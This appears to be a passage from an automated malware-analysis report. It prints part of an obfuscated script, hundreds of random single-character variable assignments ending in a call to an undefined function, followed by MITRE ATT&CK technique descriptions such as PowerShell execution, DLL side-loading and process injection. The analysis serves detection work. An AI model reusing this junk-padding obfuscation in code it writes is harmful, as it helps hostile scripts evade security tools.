521	ojnft = "v";
522	ojnft = "k";
523	ojnft = "c";
524	ojnft = "y";
525	ojnft = "n";
526	ojnft = "U";
527	tsshyl = "V";
528	tsshyl = "g";
529	tsshyl = "e";
530	tsshyl = "Q";
531	tsshyl = "m";
532	tsshyl = "u";
533	tsshyl = "K";
534	tsshyl = "r";
535	tsshyl = "S";
536	tsshyl = "U";
537	tsshyl = "k";
538	vwbfdu = "V";
539	vwbfdu = "t";
540	vwbfdu = "T";
541	vwbfdu = "l";
542	vwbfdu = "C";
543	hdpcokqwk = "M";
544	hdpcokqwk = "A";
545	hdpcokqwk = "s";
546	hdpcokqwk = "x";
547	hdpcokqwk = "q";
548	hdpcokqwk = "m";
549	hdpcokqwk = "Q";
550	hdpcokqwk = "e";
551	hdpcokqwk = "v";
552	hdpcokqwk = "d";
553	hdpcokqwk = "G";
554	hdpcokqwk = "j";
555	hdpcokqwk = "o";
556	hdpcokqwk = "P";
557	hdpcokqwk = "f";
558	hdpcokqwk = "s";
559	hdpcokqwk = "v";
560	hdpcokqwk = "O";
561	hdpcokqwk = "b";
562	hdpcokqwk = "m";
563	hdpcokqwk = "y";
564	hdpcokqwk = "X";
565	hdpcokqwk = "S";
566	hdpcokqwk = "H";
567	hdpcokqwk = "I";
568	hdpcokqwk = "N";
569	hdpcokqwk = "q";
570	hdpcokqwk = "2";
571	pejidwvv = "Q";
572	pejidwvv = "W";
573	pejidwvv = "j";
574	pejidwvv = "A";
575	pejidwvv = "c";
576	pejidwvv = "N";
577	pejidwvv = "p";
578	pejidwvv = "u";
579	pejidwvv = "s";
580	pejidwvv = "x";
581	pejidwvv = "J";
582	pejidwvv = "r";
583	pejidwvv = "B";
584	pejidwvv = "c";
585	pejidwvv = "o";
586	pejidwvv = "@";
587	znfvzxs = "z";
588	znfvzxs = "J";
589	znfvzxs = "M";
590	znfvzxs = "o";
591	znfvzxs = "u";
592	znfvzxs = "H";
593	znfvzxs = "g";
594	znfvzxs = "N";
595	znfvzxs = "I";
596	znfvzxs = "O";
597	znfvzxs = "a";
598	znfvzxs = "C";
599	znfvzxs = "k";
600	znfvzxs = "F";
601	znfvzxs = "K";
602	znfvzxs = "K";
603	znfvzxs = "L";
604	znfvzxs = "g";
605	uliyvuelo = "S";
606	uliyvuelo = "z";
607	uliyvuelo = "s";
608	uliyvuelo = "q";
609	uliyvuelo = "T";
610	uliyvuelo = "r";
611	uliyvuelo = "z";
612	uliyvuelo = "I";
613	uliyvuelo = "m";
614	uliyvuelo = "e";
615	uliyvuelo = "h";
616	uliyvuelo = "e";
617	uliyvuelo = "x";
618	uliyvuelo = "H";
619	uliyvuelo = "A";
620	uliyvuelo = "A";
621	uliyvuelo = "j";
622	uliyvuelo = "U";
623	uliyvuelo = "o";
624	uliyvuelo = "q";
625	uliyvuelo = "o";
626	uliyvuelo = "Y";
627	uliyvuelo = "i";
628	uliyvuelo = "a";
629	uliyvuelo = "T";
630	uliyvuelo = "z";
631	uliyvuelo = "e";
632	uliyvuelo = "t";
633	uliyvuelo = "l";
634	uliyvuelo = "Z";
635	uliyvuelo = "X";
636	uliyvuelo = "h";
637	uliyvuelo = "g";
638	uliyvuelo = "S";
639	uliyvuelo = "A";
640	uliyvuelo = "R";
641	uliyvuelo = "t";
642	uliyvuelo = "S";
643	uliyvuelo = "s";
644	uliyvuelo = "g";
645	uliyvuelo = "u";
646	exnuonrlk = "Z";
647	exnuonrlk = "O";
648	exnuonrlk = "L";
649	exnuonrlk = "u";
650	exnuonrlk = "G";
651	exnuonrlk = "b";
652	exnuonrlk = "O";
653	exnuonrlk = "U";
654	exnuonrlk = "y";
655	exnuonrlk = "V";
656	exnuonrlk = "Z";
657	exnuonrlk = "X";
658	exnuonrlk = "X";
659	exnuonrlk = "c";
660	exnuonrlk = "D";
661	exnuonrlk = "b";
662	exnuonrlk = "S";
663	exnuonrlk = "k";
664	exnuonrlk = "J";
665	exnuonrlk = "M";
666	exnuonrlk = "N";
667	exnuonrlk = "S";
668	exnuonrlk = "f";
669	exnuonrlk = "E";
670	exnuonrlk = "y";
671	exnuonrlk = "k";
672	exnuonrlk = "I";
673	exnuonrlk = "U";
674	exnuonrlk = "n";
675	exnuonrlk = "f";
676	exnuonrlk = "b";
677	exnuonrlk = "v";
678	exnuonrlk = "d";
679	exnuonrlk = "X";
680	exnuonrlk = "Y";
681	exnuonrlk = "M";
682	exnuonrlk = "o";
683	exnuonrlk = "o";
684	exirfr = "y";
685	exirfr = "l";
686	exirfr = "y";
687	exirfr = "F";
688	exirfr = "x";
689	exirfr = "s";
690	exirfr = "o";
691	exirfr = "l";
692	exirfr = "g";
693	exirfr = "E";
694	exirfr = "K";
695	exirfr = "Q";
696	exirfr = "G";
697	exirfr = "O";
698	exirfr = "P";
699	exirfr = "L";
700	exirfr = "j";
701	exirfr = "W";
702	exirfr = "s";
703	exirfr = "y";
704	exirfr = "Q";
705	exirfr = "p";
706	exirfr = "M";
707	exirfr = "g";
708	exirfr = "f";
709	exirfr = "A";
710	exirfr = "S";
711	exirfr = "i";
712	exirfr = "c";
713	exirfr = "d";
714	exirfr = "F";
715	exirfr = "g";
716	exirfr = "p";
717	ogjrsfsv = "y";
718	ogjrsfsv = "r";
719	ogjrsfsv = "A";
720	ogjrsfsv = "w";
721	ogjrsfsv = "m";
722	ogjrsfsv = "s";
723	ogjrsfsv = "j";
724	ogjrsfsv = "K";
725	ogjrsfsv = "l";
726	ogjrsfsv = "j";
727	ogjrsfsv = "O";
728	ogjrsfsv = "d";
729	ogjrsfsv = "i";
730	ogjrsfsv = "o";
731	ogjrsfsv = "Q";
732	ogjrsfsv = "H";
733	ogjrsfsv = "t";
734	ogjrsfsv = "M";
735	ogjrsfsv = "s";
736	ogjrsfsv = "w";
737	ogjrsfsv = "S";
738	ogjrsfsv = "j";
739	ogjrsfsv = "y";
740	ogjrsfsv = "X";
741	ogjrsfsv = "J";
742	ogjrsfsv = "a";
743	ogjrsfsv = "R";
744	ogjrsfsv = "y";
745	ogjrsfsv = "h";
746	ogjrsfsv = "T";
747	ogjrsfsv = "k";
748	ogjrsfsv = "z";
749	ogjrsfsv = "W";
750	ogjrsfsv = "a";
751	ogjrsfsv = "b";
752	ogjrsfsv = "V";
753	ogjrsfsv = "f";
754	wlrztuzne = "G";
755	wlrztuzne = "M";
756	wlrztuzne = "J";
757	wlrztuzne = "b";
758	wlrztuzne = "l";
759	wlrztuzne = "Z";
760	wlrztuzne = "x";
761	wlrztuzne = "U";
762	wlrztuzne = "F";
763	wlrztuzne = "t";
764	wlrztuzne = "C";
765	wlrztuzne = "T";
766	wlrztuzne = "W";
767	wlrztuzne = "X";
768	wlrztuzne = "X";
769	wlrztuzne = "l";
770	wlrztuzne = "U";
771	wlrztuzne = "a";
772	wlrztuzne = "W";
773	wlrztuzne = ".";
774	mnsgptzd = "F";
775	mnsgptzd = "Z";
776	mnsgptzd = "J";
777	mnsgptzd = "f";
778	mnsgptzd = "A";
779	mnsgptzd = "c";
780	mnsgptzd = "h";
781	mnsgptzd = "g";
782	mnsgptzd = "v";
783	bgpnamxha = "J";
784	bgpnamxha = "K";
785	bgpnamxha = "N";
786	bgpnamxha = "P";
787	bgpnamxha = "h";
788	bgpnamxha = "z";
789	bgpnamxha = "G";
790	bgpnamxha = "O";
791	bgpnamxha = "i";
792	bgpnamxha = "h";
793	bgpnamxha = "N";
794	bgpnamxha = "I";
795	bgpnamxha = "j";
796	bgpnamxha = "u";
797	bgpnamxha = "L";
798	bgpnamxha = "a";
799	bgpnamxha = "y";
800	bgpnamxha = "u";
801	bgpnamxha = "T";
802	bgpnamxha = "T";
803	bgpnamxha = "O";
804	bgpnamxha = "x";
805	bgpnamxha = "r";
806	bgpnamxha = "N";
807	bgpnamxha = "w";
808	bgpnamxha = "x";
809	bgpnamxha = "e";
810	bgpnamxha = "J";
811	bgpnamxha = "j";
812	bgpnamxha = "j";
813	bgpnamxha = "h";
814	bgpnamxha = "O";
815	bgpnamxha = "t";
816	bgpnamxha = "n";
817	bgpnamxha = "u";
818	bgpnamxha = "k";
819	bgpnamxha = "t";
820	bgpnamxha = "e";
821	hykeurb = "l";
822	hykeurb = "b";
823	hykeurb = "l";
824	hykeurb = "N";
825	hykeurb = "D";
826	hykeurb = "s";
827	hykeurb = "j";
828	hykeurb = "T";
829	hykeurb = "d";
830	hykeurb = "L";
831	hykeurb = "n";
832	hykeurb = "t";
833	hykeurb = "c";
834	hykeurb = "W";
835	hykeurb = "J";
836	hykeurb = "Q";
837	hykeurb = "A";
838	hykeurb = "m";
839	hykeurb = "L";
840	hykeurb = "C";
841	hykeurb = "n";
842	hykeurb = "K";
843	hykeurb = "M";
844	hykeurb = "g";
845	hykeurb = "f";
846	hykeurb = "Z";
847	hykeurb = "i";
848	wdhpny = "F";
849	wdhpny = "L";
850	wdhpny = "d";
851	wdhpny = "N";
852	wdhpny = "a";
853	wdhpny = "b";
854	wdhpny = "g";
855	wdhpny = "v";
856	wdhpny = "L";
857	ljuouto = "h";
858	ljuouto = "i";
859	ljuouto = "P";
860	ljuouto = "t";
861	ljuouto = "D";
862	ljuouto = "j";
863	ljuouto = "F";
864	ljuouto = "P";
865	ljuouto = "N";
866	ljuouto = "u";
867	ljuouto = "z";
868	ljuouto = "D";
869	ljuouto = "u";
870	ljuouto = "W";
871	ljuouto = "x";
872	ljuouto = "W";
873	ljuouto = "W";
874	ebtqs = "f";
875	ebtqs = "C";
876	ebtqs = "b";
877	ebtqs = "w";
878	ebtqs = "G";
879	ebtqs = "X";
880	ebtqs = "r";
881	ebtqs = "C";
882	ebtqs = "H";
883	ebtqs = "G";
884	ebtqs = "e";
885	ebtqs = "X";
886	ebtqs = "H";
887	ebtqs = "u";
888	ebtqs = "w";
889	ebtqs = "o";
890	ebtqs = "N";
891	ebtqs = "u";
892	ebtqs = "F";
893	xttuarqz = "g";
894	xttuarqz = "f";
895	xttuarqz = "f";
896	xttuarqz = "D";
897	xttuarqz = "a";
898	xttuarqz = "A";
899	xttuarqz = "T";
900	xttuarqz = "k";
901	xttuarqz = "v";
902	xttuarqz = "M";
903	xttuarqz = "E";
904	xttuarqz = "r";
905	xttuarqz = "k";
906	xttuarqz = "X";
907	xttuarqz = "D";
908	xttuarqz = "X";
909	xttuarqz = "a";
910	xttuarqz = "H";
911	xttuarqz = "J";
912	xttuarqz = "Q";
913	xttuarqz = "j";
914	xttuarqz = "S";
915	xttuarqz = "U";
916	xttuarqz = "O";
917	xttuarqz = "w";
918	xttuarqz = "c";
919	xttuarqz = "y";
920	xttuarqz = "u";
921	xttuarqz = "Y";
922	xttuarqz = "h";
923	xttuarqz = "y";
924	xttuarqz = "y";
925	xttuarqz = "f";
926	xttuarqz = "x";
927	xttuarqz = "m";
928	xttuarqz = "X";
929	xttuarqz = "S";
930	bdhnu = "Z";
931	bdhnu = "C";
932	bdhnu = "x";
933	bdhnu = "Z";
934	bdhnu = "f";
935	bdhnu = "q";
936	bdhnu = "i";
937	bdhnu = "d";
938	bdhnu = "y";
939	bdhnu = "F";
940	bdhnu = "d";
941	bdhnu = "e";
942	bdhnu = "Q";
943	bdhnu = "A";
944	bdhnu = "x";
945	bdhnu = "F";
946	bdhnu = "k";
947	bdhnu = "D";
948	bdhnu = "G";
949	bdhnu = "E";
950	bdhnu = "m";
951	bdhnu = "p";
952	bdhnu = "l";
953	bdhnu = "x";
954	bdhnu = "O";
955	bdhnu = "p";
956	bdhnu = "N";
957	bdhnu = "w";
958	bdhnu = "l";
959	bdhnu = "b";
960	bdhnu = "m";
961	bdhnu = "m";
962	bdhnu = "m";
963	bdhnu = "i";
964	bdhnu = "d";
965	bdhnu = "O";
966	bdhnu = "r";
967	bdhnu = "A";
968	bdhnu = "d";
969	bdhnu = "B";
970	bdhnu = "d";
971	cbawehx = "G";
972	cbawehx = "b";
973	cbawehx = "S";
974	cbawehx = "T";
975	cbawehx = "J";
976	cbawehx = "W";
977	cbawehx = "Q";
978	cbawehx = "O";
979	cbawehx = "B";
980	cbawehx = "V";
981	cbawehx = "B";
982	cbawehx = "n";
983	cbawehx = "B";
984	cbawehx = "j";
985	cbawehx = "K";
986	cbawehx = "u";
987	cbawehx = "a";
988	bodjnrb = "g";
989	bodjnrb = "Y";
990	bodjnrb = "F";
991	bodjnrb = "N";
992	bodjnrb = "r";
993	bodjnrb = "d";
994	bodjnrb = "A";
995	bodjnrb = "p";
996	bodjnrb = "p";
997	bodjnrb = "T";
998	bodjnrb = "B";
999	bodjnrb = "A";
1000	bodjnrb = "G";
1001	bodjnrb = "O";
1002	bodjnrb = "h";
1003	bodjnrb = "&";
1004	jhiykq = "u";
1005	jhiykq = "Q";
1006	jhiykq = "e";
1007	jhiykq = "m";
1008	jhiykq = "V";
1009	jhiykq = "h";
1010	jhiykq = "J";
1011	jhiykq = "B";
1012	jhiykq = "x";
1013	jhiykq = "M";
1014	jhiykq = "y";
1015	jhiykq = "o";
1016	jhiykq = "F";
1017	jhiykq = "F";
1018	jhiykq = "e";
1019	jhiykq = "o";
1020	jhiykq = "C";
1021	jhiykq = "b";
1022	jhiykq = "q";
1023	jhiykq = "P";
1024	jhiykq = "w";
1025	jhiykq = "f";
1026	jhiykq = "h";
1027	jhiykq = "T";
1028	jhiykq = "K";
1029	jhiykq = "K";
1030	jhiykq = "c";
1031	jhiykq = "h";
1032	vujipwfdo = "e";
1033	vujipwfdo = "P";
1034	vujipwfdo = "A";
1035	vujipwfdo = "j";
1036	vujipwfdo = "G";
1037	vujipwfdo = "B";
1038	vujipwfdo = "x";
1039	vujipwfdo = "g";
1040	vujipwfdo = "I";
1041	vujipwfdo = "G";
1042	vujipwfdo = "H";
1043	vujipwfdo = "p";
1044	vujipwfdo = "U";
1045	vujipwfdo = "i";
1046	vujipwfdo = "Q";
1047	vujipwfdo = "J";
1048	vujipwfdo = "p";
1049	vujipwfdo = "J";
1050	vujipwfdo = "M";
1051	vujipwfdo = "b";
1052	vujipwfdo = "T";
1053	vujipwfdo = "I";
1054	vujipwfdo = "k";
1055	vujipwfdo = "R";
1056	vujipwfdo = "f";
1057	vujipwfdo = "t";
1058	nkwgd = "G";
1059	nkwgd = "J";
1060	nkwgd = "t";
1061	nkwgd = "h";
1062	nkwgd = "d";
1063	nkwgd = "N";
1064	nkwgd = "F";
1065	nkwgd = "k";
1066	nkwgd = "y";
1067	nkwgd = "D";
1068	nkwgd = "W";
1069	nkwgd = "V";
1070	nkwgd = "i";
1071	nkwgd = "K";
1072	nkwgd = "h";
1073	nkwgd = "i";
1074	nkwgd = "z";
1075	nkwgd = "q";
1076	nkwgd = "w";
1077	nkwgd = "c";
1078	nkwgd = "G";
1079	nkwgd = "n";
1080	nkwgd = "g";
1081	nkwgd = "p";
1082	nkwgd = "O";
1083	nkwgd = "A";
1084	nkwgd = "h";
1085	nkwgd = "c";
1086	nkwgd = "N";
1087	nkwgd = "W";
1088	nkwgd = "1";
1089	nbyld = "D";
1090	nbyld = "V";
1091	nbyld = "O";
1092	nbyld = "y";
1093	nbyld = "D";
1094	nbyld = "Y";
1095	nbyld = "O";
1096	nbyld = "F";
1097	nbyld = "K";
1098	nbyld = "i";
1099	nbyld = "B";
1100	nbyld = "M";
1101	nbyld = "A";
1102	nbyld = "f";
1103	nbyld = "J";
1104	nbyld = "q";
1105	nbyld = "P";
1106	nbyld = "P";
1107	nbyld = "e";
1108	nbyld = "y";
1109	nbyld = "x";
1110	nbyld = "h";
1111	nbyld = "B";
1112	nbyld = "q";
1113	nbyld = "H";
1114	nbyld = "o";
1115	nbyld = "v";
1116	nbyld = "I";
1117	nbyld = "r";
1118	nbyld = "Y";
1119	nbyld = "K";
1120	nbyld = "m";
1121	nbyld = "V";
1122	nbyld = "z";
1123	nbyld = "U";
1124	nbyld = "k";
1125	nbyld = "6";
1126	kylieugln = "q";
1127	kylieugln = "Y";
1128	kylieugln = "Z";
1129	kylieugln = "R";
1130	kylieugln = "O";
1131	kylieugln = "y";
1132	kylieugln = "i";
1133	kylieugln = "J";
1134	kylieugln = "O";
1135	kylieugln = "P";
1136	kylieugln = "P";
1137	kylieugln = "y";
1138	kylieugln = "F";
1139	kylieugln = "f";
1140	kylieugln = "F";
1141	kylieugln = "A";
1142	kylieugln = "U";
1143	kylieugln = "p";
1144	kylieugln = "q";
1145	kylieugln = "Y";
1146	kylieugln = "P";
1147	kylieugln = "Z";
1148	kylieugln = "R";
1149	kylieugln = "q";
1150	kylieugln = "E";
1151	kylieugln = "g";
1152	kylieugln = "V";
1153	kylieugln = "V";
1154	kylieugln = "Y";
1155	sygidifap = "T";
1156	sygidifap = "O";
1157	sygidifap = "a";
1158	sygidifap = "C";
1159	sygidifap = "N";
1160	sygidifap = "f";
1161	sygidifap = "g";
1162	sygidifap = "P";
1163	sygidifap = "v";
1164	sygidifap = "X";
1165	sygidifap = "L";
1166	sygidifap = "q";
1167	sygidifap = "K";
1168	sygidifap = "G";
1169	sygidifap = "p";
1170	sygidifap = "G";
1171	sygidifap = "E";
1172	sygidifap = "l";
1173	sygidifap = "N";
1174	sygidifap = "P";
1175	sygidifap = "J";
1176	sygidifap = "l";
1177	sygidifap = "n";
1178	sygidifap = "Z";
1179	sygidifap = "s";
1180	sygidifap = "R";
1181	sygidifap = "R";
1182	sygidifap = "z";
1183	sygidifap = "Z";
1184	sygidifap = "w";
1185	sygidifap = "T";
1186	sygidifap = "b";
1187	sygidifap = "K";
1188	sygidifap = "Y";
1189	sygidifap = "k";
1190	sygidifap = "Y";
1191	sygidifap = "r";
1192	sygidifap = "o";
1193	sygidifap = "n";
1194	sygidifap = "R";
1195	sygidifap = "D";
1196	sygidifap = "9";
1197	uwzdbqt = "g";
1198	uwzdbqt = "k";
1199	uwzdbqt = "e";
1200	uwzdbqt = "S";
1201	uwzdbqt = "O";
1202	uwzdbqt = "h";
1203	uwzdbqt = "B";
1204	uwzdbqt = "o";
1205	uwzdbqt = "j";
1206	uwzdbqt = "m";
1207	uwzdbqt = "U";
1208	uwzdbqt = "F";
1209	uwzdbqt = "v";
1210	uwzdbqt = "f";
1211	uwzdbqt = "G";
1212	uwzdbqt = "N";
1213	uwzdbqt = "c";
1214	uwzdbqt = "R";
1215	uwzdbqt = "v";
1216	uwzdbqt = "T";
1217	uwzdbqt = "o";
1218	uwzdbqt = "J";
1219	uwzdbqt = "G";
1220	uwzdbqt = "Q";
1221	uwzdbqt = "K";
1222	uwzdbqt = "t";
1223	uwzdbqt = "z";
1224	uwzdbqt = "v";
1225	uwzdbqt = "V";
1226	uwzdbqt = "A";
1227	uwzdbqt = "p";
1228	uwzdbqt = "R";
1229	uwzdbqt = "h";
1230	uwzdbqt = "C";
1231	uwzdbqt = "z";
1232	uwzdbqt = ":";
1233	pjcqsns = "l";
1234	pjcqsns = "O";
1235	pjcqsns = "w";
1236	pjcqsns = "E";
1237	pjcqsns = "A";
1238	pjcqsns = "P";
1239	pjcqsns = "g";
1240	pjcqsns = "G";
1241	pjcqsns = "s";
1242	pjcqsns = "H";
1243	pjcqsns = "K";
1244	pjcqsns = "D";
1245	pjcqsns = "T";
1246	pjcqsns = "C";
1247	pjcqsns = "b";
1248	pjcqsns = "U";
1249	pjcqsns = "M";
1250	pjcqsns = "G";
1251	pjcqsns = "B";
1252	pjcqsns = "H";
1253	pjcqsns = "m";
1254	pjcqsns = "t";
1255	pjcqsns = "D";
1256	pjcqsns = "N";
1257	pjcqsns = "d";
1258	pjcqsns = "G";
1259	pjcqsns = "J";
1260	pjcqsns = "n";
1261	pjcqsns = "N";
1262	pjcqsns = "f";
1263	pjcqsns = "F";
1264	pjcqsns = "V";
1265	pjcqsns = "Q";
1266	pjcqsns = "V";
1267	pjcqsns = "e";
1268	pjcqsns = "g";
1269	pjcqsns = "L";
1270	pjcqsns = "q";
1271	pjcqsns = "c";
1272	pjcqsns = "w";
1273	izxnkggq = "T";
1274	izxnkggq = "o";
1275	izxnkggq = "N";
1276	izxnkggq = "Q";
1277	izxnkggq = "J";
1278	izxnkggq = "G";
1279	izxnkggq = "c";
1280	izxnkggq = "e";
1281	izxnkggq = "d";
1282	izxnkggq = "l";
1283	izxnkggq = "i";
1284	izxnkggq = "Y";
1285	izxnkggq = "o";
1286	izxnkggq = "Y";
1287	izxnkggq = "I";
1288	izxnkggq = "n";
1289	izxnkggq = "z";
1290	izxnkggq = "K";
1291	izxnkggq = "u";
1292	izxnkggq = "d";
1293	izxnkggq = "k";
1294	izxnkggq = "m";
1295	izxnkggq = "a";
1296	izxnkggq = "v";
1297	izxnkggq = "Q";
1298	izxnkggq = "r";
1299	izxnkggq = "0";
1300	kiyterwm = "C";
1301	kiyterwm = "M";
1302	kiyterwm = "A";
1303	kiyterwm = "n";
1304	kiyterwm = "l";
1305	kiyterwm = "y";
1306	kiyterwm = "g";
1307	kiyterwm = "V";
1308	kiyterwm = "w";
1309	kiyterwm = "o";
1310	kiyterwm = "F";
1311	kiyterwm = "j";
1312	kiyterwm = "S";
1313	kiyterwm = "j";
1314	kiyterwm = "E";
1315	kiyterwm = "E";
1316	kiyterwm = "F";
1317	kiyterwm = "z";
1318	kiyterwm = "D";
1319	kiyterwm = "l";
1320	kiyterwm = "n";
1321	kiyterwm = "P";
1322	kiyterwm = "u";
1323	kiyterwm = "T";
1324	kiyterwm = "V";
1325	kiyterwm = "x";
1326	kiyterwm = "M";
1327	kiyterwm = "S";
1328	kiyterwm = "L";
1329	kiyterwm = "y";
1330	kiyterwm = "A";
1331	kiyterwm = "t";
1332	kiyterwm = "p";
1333	kiyterwm = "F";
1334	kiyterwm = "q";
1335	zhhtjf = "w";
1336	zhhtjf = "J";
1337	zhhtjf = "P";
1338	zhhtjf = "t";
1339	zhhtjf = "a";
1340	zhhtjf = "u";
1341	zhhtjf = "E";
1342	zhhtjf = "V";
1343	zhhtjf = "r";
1344	zhhtjf = "Z";
1345	zhhtjf = "l";
1346	zhhtjf = "W";
1347	zhhtjf = "m";
1348	zhhtjf = "a";
1349	zhhtjf = "I";
1350	zhhtjf = "k";
1351	zhhtjf = "H";
1352	zhhtjf = "M";
1353	zhhtjf = "a";
1354	zhhtjf = "J";
1355	zhhtjf = "x";
1356	zhhtjf = "m";
1357	zhhtjf = "a";
1358	zhhtjf = "Y";
1359	zhhtjf = "J";
1360	zhhtjf = "m";
1361	zhhtjf = "o";
1362	zhhtjf = "Z";
1363	zhhtjf = "a";
1364	zhhtjf = "H";
1365	zhhtjf = "i";
1366	zhhtjf = "h";
1367	zhhtjf = "R";
1368	zhhtjf = "Y";
1369	zhhtjf = "A";
1370	zhhtjf = "G";
1371	zhhtjf = "u";
1372	zhhtjf = "a";
1373	zhhtjf = "E";
1374	zhhtjf = "r";
1375	hphnicj = "b";
1376	hphnicj = "U";
1377	hphnicj = "M";
1378	hphnicj = "a";
1379	hphnicj = "d";
1380	hphnicj = "p";
1381	hphnicj = "x";
1382	hphnicj = "F";
1383	hphnicj = "P";
1384	hphnicj = "S";
1385	hphnicj = "O";
1386	hphnicj = "W";
1387	hphnicj = "Q";
1388	hphnicj = "D";
1389	hphnicj = "C";
1390	hphnicj = "N";
1391	hphnicj = "O";
1392	hphnicj = "s";
1393	hphnicj = "m";
1394	hphnicj = "R";
1395	jmeuuydw = "x";
1396	jmeuuydw = "i";
1397	jmeuuydw = "c";
1398	jmeuuydw = "A";
1399	jmeuuydw = "u";
1400	jmeuuydw = "m";
1401	jmeuuydw = "Y";
1402	jmeuuydw = "S";
1403	jmeuuydw = "Z";
1404	jmeuuydw = "v";
1405	jmeuuydw = "s";
1406	jmeuuydw = "P";
1407	rtkjs = "d";
1408	rtkjs = "Q";
1409	awpwb = "M";
1410	awpwb = "Q";
1411	awpwb = "j";
1412	awpwb = "j";
1413	awpwb = "o";
1414	awpwb = "R";
1415	awpwb = "p";
1416	awpwb = "h";
1417	awpwb = "R";
1418	awpwb = "Q";
1419	awpwb = "C";
1420	awpwb = "x";
1421	gndif = "E";
1422	gndif = "E";
1423	gndif = "N";
1424	gndif = "t";
1425	gndif = "B";
1426	gndif = "K";
1427	gndif = "Y";
1428	gndif = "O";
1429	gndif = "D";
1430	gndif = "s";
1431	gndif = "K";
1432	gndif = "s";
1433	gndif = "Y";
1434	gndif = "K";
1435	gndif = "e";
1436	gndif = "y";
1437	gndif = "q";
1438	gndif = "s";
1439	gndif = "b";
1440	nbbdofeb = "d";
1441	nbbdofeb = "O";
1442	nbbdofeb = "L";
1443	nbbdofeb = "R";
1444	nbbdofeb = "C";
1445	nbbdofeb = "x";
1446	nbbdofeb = "r";
1447	nbbdofeb = "f";
1448	nbbdofeb = "M";
1449	nbbdofeb = "t";
1450	nbbdofeb = "Z";
1451	nbbdofeb = "l";
1452	nbbdofeb = "f";
1453	nbbdofeb = "o";
1454	nbbdofeb = "R";
1455	nbbdofeb = "C";
1456	nbbdofeb = "H";
1457	nbbdofeb = "x";
1458	nbbdofeb = "Y";
1459	nbbdofeb = "P";
1460	nbbdofeb = "z";
1461	nbbdofeb = "h";
1462	nbbdofeb = "H";
1463	nbbdofeb = "T";
1464	nbbdofeb = "b";
1465	nbbdofeb = "s";
1466	nbbdofeb = "S";
1467	nbbdofeb = "L";
1468	nbbdofeb = "X";
1469	nbbdofeb = "M";
1470	nbbdofeb = "N";
1471	nbbdofeb = "q";
1472	nbbdofeb = "W";
1473	nbbdofeb = "N";
1474	wuozsw = "S";
1475	wuozsw = "b";
1476	wuozsw = "i";
1477	wuozsw = "l";
1478	wuozsw = "N";
1479	wuozsw = "i";
1480	wuozsw = "z";
1481	wuozsw = "u";
1482	wuozsw = "Q";
1483	wuozsw = "a";
1484	wuozsw = "n";
1485	wuozsw = "C";
1486	wuozsw = "D";
1487	wuozsw = "d";
1488	wuozsw = "z";
1489	wuozsw = "R";
1490	wuozsw = "h";
1491	wuozsw = "p";
1492	wuozsw = "V";
1493	wuozsw = "-";
1494	cvlfrr = "o";
1495	cvlfrr = "U";
1496	cvlfrr = "f";
1497	cvlfrr = "W";
1498	cvlfrr = "y";
1499	cvlfrr = "z";
1500	cvlfrr = "z";
1501	cvlfrr = "e";
1502	cvlfrr = "T";
1503	cvlfrr = "S";
1504	cvlfrr = "H";
1505	cvlfrr = "Q";
1506	cvlfrr = "a";
1507	cvlfrr = "S";
1508	cvlfrr = "d";
1509	cvlfrr = "I";
1510	cvlfrr = "O";
1511	cvlfrr = "L";
1512	cvlfrr = "F";
1513	cvlfrr = "w";
1514	cvlfrr = "T";
1515	cvlfrr = "U";
1516	cvlfrr = "z";
1517	cvlfrr = "B";
1518	cvlfrr = "u";
1519	cvlfrr = "Y";
1520	cvlfrr = "z";
1521	cvlfrr = "P";
1522	cvlfrr = "U";
1523	cvlfrr = "W";
1524	cvlfrr = "r";
1525	cvlfrr = "_";
1526	pvtfo ( );	pvtfo() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
